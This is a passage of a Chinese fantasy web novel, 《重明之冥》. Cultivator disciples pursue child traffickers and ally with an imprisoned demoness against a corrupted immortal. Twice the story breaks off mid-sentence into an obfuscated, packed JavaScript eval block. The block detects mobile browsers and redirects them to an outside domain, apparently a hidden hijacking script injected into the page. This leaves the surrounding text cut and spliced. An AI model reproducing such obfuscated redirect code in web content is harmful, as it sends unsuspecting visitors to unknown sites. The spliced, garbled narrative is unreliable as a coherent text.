《重明之冥》 1. 人贩子 千百万年前,不周山轰然倒塌,天柱倾斜,九州大地灵气逸散,不足以供养诸神,故而以日神羲和为首的十大神祇飞升上界,凡间才得以休养生息。 诸神虽然飞往了上界,但祂们的神邸却留了下来,每一座神邸都有神使守护。春神句芒的神国位于宁州,叫做云登谷,是个四季如春的仙家宝地。 谷中有一座常年被白雪覆盖的山,名为“空”,这一任神使岚孟便降生于此。 空山山巅有一面澄澈湖水,名为龙栖,是专属于神使的居所。 “岚孟——” “岚孟——” 一只羽毛艳丽、色彩缤纷的鹬鸟降落在了湖畔,化作身着彩衣的美貌女子,她将手放在唇边,轻轻呼唤着。 良久,湖水正中央开始翻起涟漪,一个身穿宽松白袍的女子浮出了水面,她有着一头灰蓝色的及膝长发,未着鞋袜的玉足轻轻点在如天镜般的湖面上,往前走了十余步,她才睁开了眼睛,那双眼瞳犹如冬日大雪里的冰蓝湖水,深邃,神秘,引人深入。 她提着裙摆,如山间小鹿,一蹦一跳来到了彩衣女子身边。 “我睡了多久?”岚孟问道。 今望月叉着腰,面露不满:“十七年了!猪都没有你能睡!” 岚孟反驳道:“一般的猪可活不了这么久。” 今望月没好气地瞪了她一眼,道:“你要找的东西有下落了。” 岚孟面露喜色,“真的?‘燧明之书’在哪里?” “沂州,屏基山,据说是在一个叫‘道零仙人’的修士手里。” - 八月十二,屏基山。 山道上大雾弥漫,一架马车从雾中驶了出来。马车外表朴素无华,车身由普通木材打造而成,表面油漆已经有少许脱落。驾车的是个中年男子,额上有疤,一双鹰眼锋锐犀利,马车左右各有一人,腰间皆配着刀,他们神情戒备,周围的一丝风吹草动都逃不过他们的眼睛。 忽然,一阵风从侧方吹来,微微掀开了细布车帘,只见四个不到十岁的孩童相互依偎着蜷缩在车厢内,他们眼睛紧闭,似乎是睡着了,可是眉头会不安地皱起,脸上会浮现痛苦的神情,仿佛承受着莫大的痛苦和恐惧。 不远处,借着树林的遮掩,三个人默默打量着笃笃驶向山上的马车。 有一男子蹲在高处粗壮的树干上,一袭青衫完美隐匿在茂盛树叶之中,只露出一双有着琥珀色瞳孔的眼睛,注视着马车逐渐远去。 身穿玄黑衣袍男子躲在树后,腰间别着一柄长剑,他旁边是一个黄裙女子,打扮俏皮,耳垂上水滴模样的耳坠在空气中微微晃动。 三个人同时动了,踏过枯枝却不激起一点声响,青衫男子更是像在乘风而行,足尖轻点在飘落的树叶上,身子便能滑出去几丈远。 他们不远不近地跟着马车在山道中七拐八绕,没过多久便看见了一座潜藏在密林中的宅院,三人适时止步,远远地看着马车在宅院前停稳,其中一人上前去敲门,“啪啪”的拍门声在寂静的树林中分外清晰。 不多时,大门“吱嘎”一声开了一条缝,一个男人探出了头,见到熟悉的人,他才打开了院门。车夫一手提着一个孩子率先进了门中,剩下两人也各抱一个孩子跟了进去,大门“吱嘎”一声又合上了。 躲在远处窥探的三人这才从暗处走了出来。 “柳师兄,现在该怎么办?不若咱们偷偷翻墙进去?”翟子续取下腰间的长剑往身后一背,摩拳擦掌道,语气中尽是跃跃欲试。 “那宅院里说不定有高手坐镇,贸然进去可能会打草惊蛇。”娄雪沁开口否定了这个提议。 翟子续反驳道:“难道你还有更好的办法?如果真有知命甚至造化境的强者,说不定我们已经被察觉了,现在就在他的眼皮子底下密谋。而且不过是人贩子的贼窝,怎么可能有那样的高手?那个车夫也不过是个小小的引灵境罢了。” 他的目光转向斜前方树干上的青衫男子,“我们一个知行境,两个元初境,还怕拿不下他们?你说是吧,柳师兄?” 柳逸直如羽毛一般轻飘飘落了下来,眼中含着冷静与沉稳,他道:“不可大意,毕竟我们不知道里面有多少修士,先在宅院周围探查一下情况,看看有没有什么突破口。” “哼。”娄雪沁朝翟子续看了一眼,仰着头,像是高傲的孔雀,率先走了出去。 翟子续也不甘示弱,足尖轻点,朝另一边飞跃而去。两个人非要争个高下,生怕被另一人捷足先登找到线索,争先恐后往那处宅院跑去,不一会儿就没了踪迹。 柳逸直幽幽叹了口气,提步朝树林深处走去,那里有一株鹤立鸡群的巨大榕树。 方才他便注意到了这株巨树。榕树喜欢温暖潮湿的环境,喜阳光,常生长于阳光充足、地势开阔的水边,按理来说像屏基山这样水分不足、林木茂盛之地并不适宜榕树生长,结果那榕树却长得颇为粗壮,硕大的树冠像是盖子一样盖住了其他树木。 事出反常必有妖,直觉告诉他不应该放过这一点异常之处。 待他走近了,才发现那榕树主干有两人合抱那么粗,从横斜的树干上垂下来的数以千计的气生根垂直扎入地面,有不少临近的树木都折断了。 柳逸直皱起眉,心中忽然有了一个无端的猜测。这榕树在呼吸之间长大成参天大树,形成方圆十丈的华盖,生出无数的气生根,狠狠扎向地面时折断了经过的树木,所以才形成了那种景象。 榕树附近的灵气充沛,越靠近榕树,灵气越浓郁,就在柳逸直即将踏入榕树华盖之下时,他忽然顿住了脚步,低头一看,脚边静静躺着一颗圆滚滚的石头,上面还用朱砂绘着复杂的图案,而举目望去,榕树周围的土地上每隔一段距离便放置着一颗这样的石头,他闭了闭眼睛,再睁开时,眼瞳覆上一层淡金光芒,而他的视野里,根根灵气之线以石头为起点笔直射向高空,将榕树包容在内,合围之势已成。 禁制,柳逸直默念道,还好刚刚没有莽撞闯入。 他绕着榕树走了一圈,心里飞快计算着破开禁制需要花费多长时间。 约摸一刻钟,这禁制不算复杂,只有知行境的水平,但是解开禁制的那一瞬间就会被设下禁制的人感应到。 为什么要给一株榕树设下禁制?难不成地下有什么东西?柳逸直低头看了看脚下,皱紧了眉头。 这时,微弱的灵波从怀中传讯符里传了出来,他取出符箓输入灵力,娄雪沁压低了的嗓音响起:“师兄,宅院西北角。” 柳逸直掐断传讯符,身影快如鬼魅,几息之后便消失在了密林之中。 - 被禁制笼罩的榕树之下,离地面十几丈远的地方有一个巨大的洞窟,圆形石台上坐着一个有着银灰色长发的女子,四肢皆被玄铁锁链捆束,她却好像丝毫也不在意锁链一般,漫不经心地手扣着石壁上的凶兽浮雕。 她眉头紧锁,像是有天大的疑难无法解开,表情十分困惑,呢喃着,老不死的,到底把东西藏哪了呢…… 这女子正是岚孟。 日前,她不远万里赶到了宁州,本想从道零手里抢夺传说中全知全能的‘燧明之书’,结果着了那老秃驴的道,被关进了锁妖阵里,这一关就是两个月。 忽然,一团黑雾从山体中冲了出来,在岚孟头顶盘旋,雌雄莫辨的少年嗓音响起:“闫扶音!有三个家伙闯进来了!” 岚孟勾了勾唇:“你去把他们引到这里来吧,说不定,我们很快就能出去了。” 黑雾“哈哈”笑着飘进了山体之中。 - 娄雪沁和翟子续躲在高处的树干上,柳逸直如羽毛般轻盈,落在他们身边,目光投向下方的宅院。 那是一座三进的院子,后院中有一口古井,密密麻麻的树根从井中探出来,延伸出很远,几乎爬满了整个院子。 有三个人从前院走了过来,走在最前的是那个额头有疤的车夫,后面两个人双臂上都搂着一个孩子。来到井边车夫便停住了脚步,让后面的人先跳进了井中,他谨慎地往周围看了看,没发现异常,也没有看到躲在高地上窥探的柳逸直三人,才轻车熟路跳了进去。 前院还有不少人在走动,多数是普通人,也有引灵境的修士,不足为惧。看他们都忙着自己的事,没有来后院的迹象,柳逸直三人便无声无息地靠近宅院,翻墙而入,快步来到了井边。 井中黢黑,除了盘虬的榕树根之外看不见里面有些什么东西,只知道深不见底,或许有几十丈。 翟子续道:“我先进去探探路。”他一手按在井边就要往下跳,柳逸直连忙拦住他,低声嘱咐道:“你们都有传送符吧?要是遇到解决不了的危险,立即传送出来。” 翟子续拍着胸脯道:“师兄放心,我们绝对不会给你拖后腿。”刚说完,他便纵身跳了进去。 柳逸直无奈扶额,呢喃道:“我是这个意思吗?” “这个呆瓜,”娄雪沁嘿嘿一笑,“师兄,别理他,他这人缺根筋。” 他们三人都是第一仙门山到源的弟子,而柳逸直已经经过重重选拔考入了丹灵卫。娄雪沁和翟子续同一年进入焱堂修行,相识的时间可比柳逸直久多了,对于翟子续听不懂人话这件事她早就见怪不怪了。 柳逸直无声笑了笑,率先跳入井中,娄雪沁紧跟其后。 在井中坠落了五息的时间,柳逸直才落到了地面上,按照时间估算,这口古井应该有五百多丈接近六百丈的深度。 井底并非伸手不见五指,每隔一段距离,墙壁上便镶嵌着一枚萤石,散发着微弱的光芒。只要输入少许灵力,萤石便能维持一日的光照,对于修行之人来说,这可比烛火要实用多了。 前方仅能看到一条直路,三人小心翼翼地往前走了约摸十丈远的距离,才看到了三条岔路,每一条都可通四人并排行走。 柳逸直从芥子袋里掏了个罗盘出来,娄雪沁惊诧道:“师兄还在他们身上放了追踪蚁?” 柳逸直点了点头,“刚追上那马车的时候就放了。” 罗盘上的指针稳稳指向最左边的岔路,不用他多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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给孩童依次检查身体,确定他们只是服食了蒙汗药处于昏睡以后,娄雪沁松了口气,接上了话头:“不认识呢,现在什么阿猫阿狗都能自称仙人了吗?” 车夫挣扎得更厉害了,愤怒的火焰自他眼底升起,他恶狠狠地瞪着不远处的娄雪沁,声音一声比一声高:“你懂什么!仙人是造福一方的存在!是真正能够逆天改命的神灵!是他给予我们新生!你凭什么诋毁他!” 柳逸直皱了皱眉,胳膊肘重重压在车夫的小腿,只听到“喀哒”一声,车夫发出撕心裂肺的惨叫——他的腿骨断了。 柳逸直沉声道:“老实点!道零仙人抓这些孩子的用意何在?给予新生又是什么意思?” 车夫的头上冒出一茬又一茬的冷汗,脸色苍白,神情痛苦又癫狂,他哈哈大笑:“我呸!你们这样的鼠辈给仙人提鞋都不配!怎配知道仙人的伟大筹谋!” 他的表情变得癫狂,面上覆了一层淡淡的黑气,像是个神志不清的疯子,可他先前的行为与常人并无不同。 柳逸直当机立断敲晕了车夫,从芥子袋里抽出一条捆灵索,将车夫和那两个凡人绑在了一起。 “魔气。”他笃定道。 翟子续和娄雪沁都面露惊愕。 这世上本没有魔。 千百万年前,盘古开天辟地,阳清为天,阴浊为地。约摸万年前,不知因何原因,地底浊气中骤然产生了一丝魔气,对于修行者来说,魔气犹如附骨之疽,会侵蚀灵根、经脉,致其变成六亲不认、残忍嗜杀的邪物,这就是魔。 面泛黑气、两眼猩红便是入魔的征兆。 柳逸直飞到了半空悬吊着的“茧”上,透过树藤间的空隙,看见里面有个七八岁的孩童,紧闭双眼像是陷入了沉睡,而九根细若银针的碧绿藤丝扎入了九窍,似乎有莹亮之物被藤丝吸了出来,在眉心处汇聚成一颗淡黄色小球。 他神色凝重,飞跃到另一个“茧”上,发现这个孩子的情况要比上一个严重得多,他双颊凹陷,骨瘦如柴,体内真元已经被抽去了大半。柳逸直心下骇然,继续查看了其他孩子的情况,发现其中五个孩子症状较轻,三个孩子有不同程度的衰败,两个孩子已经几乎要被抽成干尸了,他们而眉心处的小球也有了鸡蛋大小。 他跳了下来,将自己所看见的说了一遍,娄雪沁瞪大了眼睛,抬手捂住了嘴巴,惊恐道:“怎么会,我还以为他们只是普通的人贩子,没想到是邪修……” 翟子续道:“得尽快将他们救出来。” “不过该怎么救?直接把树藤砍断吗?” “不可以。”一道清脆的少年音不知从何处响起。 翟子续“歘”地一声抽出了背后长剑,剑柄处绘刻着“炎野”二字,剑身绘着赤红的纹路,其上似有火焰浮动,四周的温度都升高了些许。他举着剑指向周围,扬声道:“谁!滚出来!躲躲藏藏的算什么好汉!” 一团黑雾从车夫背后的墙壁上冒出了,凝成被雾气笼罩的少年模样,他蹲在车夫的头顶,伸出一根手指对着翟子续摇了摇道: “不可以哟,除非你想得到十具冰冷的尸体。” “山魑?!” 2. 造化丹 柳逸直瞬间闪现到了翟子续身前,他看着对面的黑影,缓缓吐出两个字:“山魑。” 山魑乃是山野雾气所幻化的精怪,雾聚形成,雾散形散,看得见却摸不着,是为数不多的没有实体的妖物,一般只有那种灵气充沛、人迹罕至之地才能孕育此等天地灵物。可书中记载,山魑之雾应当是白色才对,就像是普通的雾气一般,为何眼前这个山魑的雾气是黑色的? 黑雾勾勒了山魑模糊不清的五官,他个子不高,约摸同人类十岁的少年一般大。 山魑“哟”了一声,将脸朝向柳逸直,好像是把目光放在了他身上,上下打量一番,语气散漫道:“见识挺广的嘛。” 柳逸直出言问道:“你说不能直接斩断榕树根是什么意思?” 翟子续拿剑对着山魑,只要对方露出一丁点攻击的意图,他手中的剑便会朝着对方的脖颈狠狠斩下。 娄雪沁则像是老母鸡护着小鸡一般两手张开半蹲在了孩童身前。 山魑睁着圆溜溜的眼睛,一副天真无辜的样子,“就是字面意思啊。你刚刚也看见了吧,藤丝扎进九窍之中,吸取他们的真元,要是贸然斩断榕树根,只会适得其反,那藤丝会直接在皮肉里生出更细小的分岔,嘭——” 他张开两手比划,笑嘻嘻道:“然后就爆炸了,好玩吧?” 柳逸直盯着山魑,连发三问:“你从何而来?同道零仙人有什么关系?为何这般清楚藤茧之事?” 山魑一手托住腮,歪头看着柳逸直道:“我当然是这座山里来的。至于道零仙人,呵呵,仙人,他也配?” 他嫌恶地啐了一口,然后直起身来,仅靠点在车夫头顶的足尖稳住身形,他双手环胸俯视着他们,哼了哼道:“既然你们这么想知道,那我就大发慈悲告诉你们好了。” “道零抽取孩童真元,是为了炼制一种能够修补灵根的丹药,叫做造化丹。这个车夫,”他蹦了蹦,车夫的脑袋便晃了晃,“第一颗成功的造化丹就是被他吃了。” 难怪那车夫声称道零仙人能够逆天改命、给予人新生,柳逸直腹诽道。 灵根位于人体丹田之中,乃是修炼的根基,决定了一个人对灵气的亲和力。亲和力越强,吸纳灵气的速度越快、丹田内能储存的灵气越多,也就是修炼资质越好。灵根的资质与属性是生来就注定的事情,无法改变,无法改善,只能通过后天的努力,用经脉强度、识海范围等方法来扬长避短。而“依靠外物修补灵根”一说完全是无稽之谈,更何况是以他人真元修补己之灵根,更是丧尽天良、罪不容诛的恶行,道零仙人实乃邪修无疑。 难怪审问车夫时他的情绪恶化极快,没多长时间就趋于疯癫,这正是服用“造化丹”逆天而行、魔气入体的结果。 如今看来,道零仙人恐怕已经是魔了。 柳逸直收起思绪,继续问道:“那你知道,服食了造化丹的人有多少吗?或者这里有多少修士?道零仙人修为几何?” 山魑仰头想了想道:“这里的修士都是经造化丹改造的,吃了造化丹还能活下来的人可不多,也就七八个吧,至于道零那老匹夫……知,知行?还是知命?” 他抱怨道:“我真不懂你们人修为什么要搞那么复杂的境界划分,难听又难记!” 知行境与知命境,一字之差,中间却隔着闻道、破妄两个大境界,而许多人终其一生可能也找不到属于自己的“道”,越过闻道境这个划分高低阶修士的分水岭。这不仅与天赋、悟性有关系,更讲究机缘,时机未到,再怎么努力也于事无补。 事情或许比他想象中严重得多啊。柳逸直眉头紧皱,琥珀色眼瞳中满是凝重。 修士和妖族被魔气污染后有个非常危险的特点,那就是修为将会激增,增长一个大境界那都是常有的事,其体内的魔气也会源源不断地侵蚀周围的生灵,并且非常难以清除。就算道零仙人只有知行境,在魔气的助力下,他的实力或许能达到闻道境,甚至闻道大圆满。若道零是知命境,那他们三人对上他,便更无异于是以卵击石、蚍蜉撼树了,能不能留个全尸都是问题 他心念一动,抬头看着山魑的眼睛,问道:“道零仙人今天不在这里?” 山魑换了个姿势,一屁股坐在车夫的脑袋上,左腿支起搭在旁边那人的肩头,他伸手掏了掏耳朵,嗤笑道:“想啥呢,他不就在这地宫里么。” 柳逸直面露遗憾,那就不可能绕过道零带走孩子们了。 翟子续提议道:“师兄,我们应该立即将此事汇报给梁山主,就算道零仙人只是个知行境修士,入魔之人也不是我们能对付得了的。” 梁齐安是山到源巽崖的山主,也就是统领丹灵卫的知命境强者,距离造化境只差临门一脚。 当今世界仅有两大圣物能够彻底清除魔气,一是山到源的暾云炬,二是禅宗的梵音铃。山到源招收天下修士为丹灵卫,从中推选掌炬持暾云炬诛杀天下万魔,而禅宗长年驻守雁门关,以梵音铃镇压魔气猖獗之地——九幽,那里的魔能够在魔气侵蚀下保持理智,已经成长为了人、妖之外的另一个种族 虽然每个山到源弟子都持有经暾云炬赐福的山水令,可那一丝神力只能保证持令者免受魔气侵蚀,是无法根除魔气的,最好的办法是上报宗门,让掌炬来处理。 娄雪沁提出了一个疑问:“或许道零仙人还没有入魔呢?毕竟他又不是九幽的魔族,能在魔气侵蚀下保持清醒,否则他怎么还能炼制造化丹?” 她这话其实存在一个误区。除了九幽魔族,还有不少入魔之人能够化魔气为己用。近几十年来大肆猖獗的门派朝圣道就是一个例子,他们宣扬魔气也能为人所用,入教者无不在极短时间内就成长为知行、闻道境强者,故而不少心性不正之徒都会铤而走险加入朝圣道。 此番言论过于惊世骇俗,因此以山到源为首的五大仙门封锁了朝圣道的消息,避免有心之人为了追求修为的极致而加入朝圣道,是以像娄雪沁这样的低阶弟子是没有资格知晓朝圣道的事情的。 柳逸直也是在考入丹灵卫以后才知道朝圣道的存在。 因此柳逸直没有否定娄雪沁的话,也没有作出解释:“先向山主传讯寻求支援吧,我们留在这里,不到万不得已,先不能和道零仙人对上。” 翟子续已经把剑放了下来,不过却没有收进剑鞘,显然山魑已经得到了他初步的信任,毕竟他骂道零仙人是“老匹夫”,还抖了不少关于道零的辛秘,这可不仙人的同伙该做的事情。 他拿出传讯符道:“我来给山主传讯。” 娄雪沁忧虑道:“可我们躲在这里也不是办法,要是道零要来收割那些孩子的真元就糟了。” 山魑道:“他待会就来了呀。” 娄雪沁猛地捂住自己的乌鸦嘴。 山魑指了指半空中的茧道:“有两个小孩已经成熟了。” 柳逸直一下子就想到了那两个被抽成干尸的孩子。 一时间谁也没有说话。 山魑打破了静谧:“各位,我们合作怎么样?” 三人同时看向山魑。 娄雪沁嘟囔道:“你个小妖精能有什么办法。” 山魑从车夫脑袋上跳了下来,化作黑雾慢悠悠地在空中飘荡。 “我是干不过那老秃驴,可不代表别人不行啊!这里还有个被道零抓了的大妖,要不是道零玩阴的用什么锁妖阵把她困住了,她早就捏爆那老匹夫的头了,只要把她救出来,就不愁收拾不了道零了。” 柳逸直敏锐地抓住了山魑话语里潜藏的含义:“你的意思是,那大妖的实力在道零仙人之上?” 黑雾的前端上下晃了晃,像是在点头。 “那当然,道零算个屌毛?” 三人凑在一起密谋。 娄雪沁:“敌人的敌人就是朋友。” 翟子续:“坐以待毙解决不了问题,还可能把小命留在这里。” 两人异口同声道:“师兄,我们和他们合作吧。” 柳逸直只觉得他俩真是初生牛犊不怕虎啊。身为师兄,柳逸直不得不多考虑一些,虽说现今他们和被道零囚禁的妖族姑且可以算是站在同一条船上,但是不知道道零囚禁她的原因,贸然将她放出来保不准会造成更严重的后果。而且虽然现在人、妖两族和平共处,可是暗地里的纷争从来没有停止过,不少妖族对人族依旧饱含极大的恶意,毕竟非我族类,其心必异。不知这妖秉性如何,柳逸直绝不敢贸然同其合作。 对于柳逸直的顾虑,娄雪沁提出了一个解决方法。 “可以让她以妖格起誓呀!妖族采天地灵气,收日月精华,方能见成人形,不管是野兽修炼成精还是大妖的孩子都得经过这一步,所以他们同天地的联系比人更紧密,以妖格发誓时会受到天地法则制约,如果违背的话是会遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929598|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天谴的。” 也没有比这更好的办法了,柳逸直沉思片刻,便同意了和妖族合作。 三人一妖迅速敲定了合作细节:柳逸直去解阵,娄雪沁和翟子续则守在这里,山魑可以穿墙,由他来汇报道零等人的动向。 黑雾分裂成了两团,一团领着柳逸直去大妖所在,一团则留在藤茧洞穴周围警戒。 山魑飞快地在地宫中穿梭,哪里该拐歪,哪里该直走,他了如指掌。紧跟其后的柳逸直发现四周的藤根愈发粗壮,感觉自己应该是靠近源头了。 黑雾忽然在一个分岔路口停了下来,柳逸直猛地顿住脚步,闪身躲进了山体凹陷处,谨慎地在身上又贴了一道隐息符,黑雾趴在他的肩头,用雾气包裹住了他。 几息时间过后,一个瘦高男子从其中一条岔路里走了出来,嘴里哼着不知名的小曲,一副心情舒畅的样子。他大步流星往前走,完全没发现山窝里不仅有个妖物,还有个意图摧毁这地下迷宫的山到源丹灵卫。 元初境大圆满,柳逸直默念道。 修真界习惯将每个境界划分为前、中、后三个阶级,离晋升只有一步之遥的、或许一个念头通达、明心见性的契机就能立即晋升,这样的阶段就是大圆满,实力绝非同阶后期修士可比。 如今柳逸直乃知行境大圆满,娄雪沁和翟子续都是元初境大圆满,是以柳逸直才有底气带着他们俩强闯贼窝。 等那人远离之后,柳逸直才如离弦之箭一般飞掠出去。 很快,柳逸直便看见了山魑口中画着开明兽的青铜大门。那守门凶兽长着老虎一般的身体,脖子上有九个头并且长着人脸,面上表情各不相同,或喜或怒,或悲或憎,眼珠子是清一色的黑曜石,在昏暗的环境中闪着幽光,而它们的口中皆衔着一枚宝珠,颜色各不相同。 山魑趴在柳逸直肩头耳语道:“把宝珠放到正确的位置,大门就会开启,你只有三次机会,否则开明兽就会活过来。” 柳逸直顿感压力如山。 他飞掠至青铜门前,仰头看着两丈多高的开明兽画像,九双眼睛好似全部朝他看了过来,九个带着各式情绪的脸孔仿佛能够操纵他的内心,让他时而恐惧,时而欣喜,时而愤怒。柳逸直缓缓吐了一口气,默念一遍清心诀以后才感觉情绪平复下来,他已经有了决断。 人的思想、意志是会受到色彩影响的,不同的颜色会对应不同的情绪,这应该就是开门的“钥匙”。 喜悦、愤怒、恐惧、悲伤、怨恨、嫉妒、羞愧、厌恶、惊讶,分别对应粉、赤、黑、灰、深红、紫、绿、黄、白。柳逸直迅速打乱宝珠的位置,将其放在了对应情绪脸孔的口中。 然后,他就被雷劈了。 九对黑曜石同时射出拇指粗细的雷击,狠狠劈在柳逸直的身上。虽然他反应迅速,躲开了大部分雷击,但还是被击中了头顶、肩膀和右腿,好在雷击威力不大,他抽搐了一息时间便恢复了过来,只有本该躺在肩背的发丝张牙舞爪地竖起,手臂上还有细小电蛇在游走。 山魑躲在不远处,拼命捂住了嘴,可还是有细弱的笑声传了出来。 柳逸直面不改色地虚虚往身上一抓,将残余的雷电一把抓了出来,掷到地上,平整的土地被砸出个小坑。 他拧眉思考失败的原因。 他曾在某王室的藏宝阁里见过类似的画像,那只开明兽九个头就全是肃穆庄重的表情,充分展现王室威仪,而大部分开明兽画像上脸孔的表情也不会有很大区别,毕竟会显得画像惊悚怪异,悬挂开明兽画像是用来镇宅守门的,又不是用来吓人的。 如果钥匙不是“情绪对应颜色”,那道零仙人绘制九个不同表情的用意何在?为了美观?还是为了他特殊的癖好? 柳逸直百思不得其解。他后退几步,将三丈高的青铜门尽数收入眼帘,目光在脸孔、宝珠、身躯上来回梭巡,忽然感觉那一道道构成身躯的线条颇为眼熟,他不再执着于观察细节,而是把目光放在了整个画面上。 他灵机一动,径直上前调整宝珠的位置,正忐忑不安时,青铜大门轰然开启,门上尘土扑簌扑簌往下落。 柳逸直面露喜色。果然,画像内暗含玄机。这不是单纯的开明兽画像,而是九州大地的局部地形图!盛放宝珠的凹槽分别对应着沂、齐、梁三州境内的湖泊和城池,湖泊颜色各异,城池的图腾也各不相同,这才是打开大门的钥匙! 3. 闫扶音 青铜门打开以后,山魑如流莺般“唰”地一声飞蹿了进去。 门后的洞窟比柳逸直想象中大得多,翠绿的榕树根布满墙壁,悬在空中的藤枝无风自动,犹如一只只朝来人招手的胳膊。柳逸直不敢大意,足尖点在裸露的土地上,小心翼翼地避开了榕树根。 往里走了几十步的样子,柳逸直便看见了一个半人高的方形石台,壁上密密麻麻雕刻着青面獠牙的凶兽,四根巨大石柱贯穿地面和穹顶,柱上同样雕刻着凶兽,可分辨是饕餮、穷奇、梼杌、混沌四凶,它们口中分别吐出一根结实的铁链,末端拴在了一个银发女子的四肢上。值得注意的是,石柱上蜿蜒盘旋而下的榕树根也缠绕在了铁链上,给女子附上了第二道枷锁。 不难看出她已经被囚禁了不短的时日,身上宽松的黑衣也因沾染尘土而变得灰扑扑。她散漫地坐在石台边缘,左手托着下巴,胳膊搭在了支起的左腿上,右手抠着石台边缘的凶兽浮雕。有些凶兽少了犄角,有些少了獠牙,有些没了后肢和尾巴,铁链被她的动作带动,发出“哗哗”的清脆响声。 山魑正趴在她的肩头说着什么,她的嘴角勾起一抹若有似无的微笑。 她点点头道:“我知道了,你去吧。” 山魑飘了回来,朝柳逸直道:“我和她说好了,你们谈吧。”说完,他便一头撞进墙壁里去了。 柳逸直在石台不远处站定,自报家门道:“在下山到源柳逸直,敢问阁下是?” 石台上的妖族将脸转向他,红唇轻启:“闫扶音。” “闫姑娘,”柳逸直迟疑了一下,还是问道:“你真的有把握对付道零仙人吗?” 不怪他有此疑问,石台上被禁锢的妖族是个瞎子,眼瞳灰暗无神,而且他看得出来,她那一头银发并不是本体的颜色,而是妖力枯竭无以为继的后果。 岚孟将一个凶兽浮雕的头抠了下来,握在手心仔细把玩,漫不经心道:“你要是不想合作,我也不反对,反正再过个十天八天,我自己就能冲开阵法了。” 难怪她看起来没有一点被幽禁的样子。 柳逸直顺着石柱往上看去,只见一颗拳头大小的聚灵石嵌在洞窟最高处,以它为中心,榕树根呈发散式向四面八方延伸,这里似乎就是榕树根的源头,也是锁妖阵的阵眼所在。 柳逸直算了算距离,这里恐怕是那棵怪异榕树的正下方。榕树根在那妖族身上汲取妖力,源源不断输送到聚灵石之中,而它背后的妖榕,则有着将妖力转化为灵力的功能,这就是越靠近榕树灵气越浓郁的原因。 “方才你遇到包宇了吧?他是道零最得意的弟子之一,你在这里犹豫不决的功夫,想必他已经收割了真元回来给道零炼制造化丹了吧。”岚孟轻声笑了笑。 柳逸直神色微动,他握了握拳头,心想伸头是一刀,缩头也是一刀,也没有时间反悔了。 “闫姑娘,我可以为你解开阵法,前提是你需以妖格起誓,脱困后不得伤害无辜之人,还得助我们擒住道零。” 岚孟挑了挑眉,称赞一声:“倒是谨慎。” 她丢开手里的石头,向上竖起三指,朗声道:“我闫扶音以妖格立誓,脱困后不伤害无辜者,并全力缉拿道零。” “可以了吧?”她放下手笑道。 柳逸直感受到微妙的法则之力在她身上绕了几圈后才消散了,心中警惕少了几分,从芥子袋中取出符笔、朱砂、灵纸,就地坐下开始刻画符咒,磅礴的灵气随着他落下的一笔一划,被朱砂封存进了灵纸之中。 岚孟冷不丁问了一句:“不知小友师承何人?” 柳逸直坦言道:“家师风菱衣。” 她若有所思点了点头,继续道:“他现在应该是持赤令的令尹了吧?” 柳逸直诧异地扭头看了她一眼。 虽然山到源是九州仙门之首,处于风口浪尖,可天下人关注的多数是山到源处置了哪个妖异,丹灵卫又歼灭了哪个奸邪这样的大事,许多不熟悉的人族修士,都不一定知道丹灵卫内部有严格的等级划分,更别说是妖族子弟了。 焱堂弟子持白令,俗称“白兵”,考入丹灵卫以后便持青令,可以前往九州各地执行任务,叫做“游走”,十年一度丹灵卫选拔时考进来的弟子便是“游走”,后续黑令卫尉、黄令从事、赤令令尹,就得靠执行任务积攒功勋才能晋升了。 她一个妖族,缘何对山水令如此熟悉?而且还认识师傅,风菱衣可没和他说过自己认识这么一个美貌又任性的大妖。 柳逸直收回目光,边画符边问道:“你怎么知道?姑娘对丹灵卫似乎很熟悉?” 岚孟的神思仿佛一下子放空了,几息之后才回过神来,她坦言道:“我有个亲戚,也是丹灵卫。” 亲戚?妖族?柳逸直松开紧皱的眉,丹灵卫中的妖族虽然少,但也不是没有。 “他叫什么名字?我说不定认识。”他从芥子袋里取出弓箭,将刚画好的符纸贴在了箭簇上,挽弓搭箭,对准了穹顶上的聚灵石。 岚孟站起来走到了石台角落处,双手环胸,声音不带丝毫温度:“你不可能认识的,他很多年前就死了。” 柳逸直缓缓吐出一声叹息,五指松开,箭矢离弦,带着万钧之势直逼聚灵石! 似乎是察觉到了危险,榕树根相互缠绕着包裹住了聚灵石,柳逸直适时挥出几道风刃斩断榕树根,聚灵石便裸露了出来,榕树根断口处迅速生长,还不等重新包裹住聚灵石,箭矢已至! 箭头触碰到聚灵石的那一瞬间,符纸瞬间便被浓郁灵气点燃,“砰——”符纸不仅将聚灵石炸成了粉末,周围一丈范围内的榕树根也无法幸免,断枝纷纷掉落,榕树根断口处呈现不同程度的焦黑,它再生的速度骤然变缓。 与此同时,“咔咔”声不绝于耳,笼罩石台的无形屏障一寸寸裂开了,盘旋在石柱上四大凶兽的眼睛猛然变亮,它们“活”了过来,一个接一个脱离了石柱,将目光对准了打扰它们沉眠的不速之客。 “哇——” 饕餮如婴孩般的巨大吼声响彻整个地下迷宫! - 听到嘶吼声时包宇已经走到了藤茧洞口,他转身回望,似在思考啸声是从何而来,这时,他忽然感觉到身后传来凌冽的剑气,动了动手指,脚边的地面顿时升起厚重土墙,替他挡下了那凌冽的一剑。 土石崩裂,包宇看到袭击之人乃是一个黑衣剑客,他大声斥道:“来者何人!” 地上冒起尖锐的刺袭向翟子续,他脚上用力往上跳,一股清波从侧面奔涌而来,呼啸着溶化了土刺,娄雪沁手里握着一只笔,那笔通体碧蓝,名唤“欺梦”,她挥笔朝包宇甩出几道水箭。 她大声道:“是你姑奶奶!” - 